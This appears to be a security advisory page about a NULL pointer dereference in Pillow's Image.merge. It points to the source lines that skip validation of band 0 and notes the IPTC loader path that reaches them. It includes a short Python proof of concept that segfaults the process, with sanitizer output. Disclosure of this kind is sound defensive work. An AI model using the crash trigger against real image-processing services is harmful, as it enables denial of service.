PyPI · pillow
Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0
Image.merge() checks the mode of every input band except band 0. If band 0 is a single-band I or F image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain Image.open() followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.
The validation loop skips band 0:
src/PIL/Image.py:3795 iterates for band in bands[1:] and checks mode and size only for those.For an I or F image the 8-bit plane image8 is NULL (only image32 is set). ImagingMerge dereferences bands[0]->image8[y] for the multi-band output modes:
src/libImaging/Bands.c:302, :311, :321The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:
src/PIL/IptcImagePlugin.py:156-160src/PIL/IptcImagePlugin.py:169 registers the opener with no accept function.from PIL import Image
# Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])
Run it:
$ python 02_poc.py
Segmentation fault (core dumped)
Observed on a source build of commit 3e2ab96.
Under AddressSanitizer:
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
#0 ImagingMerge src/libImaging/Bands.c:311
#1 _merge src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge
The null address confirms the dereference of the missing image8 plane for band 0.
NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.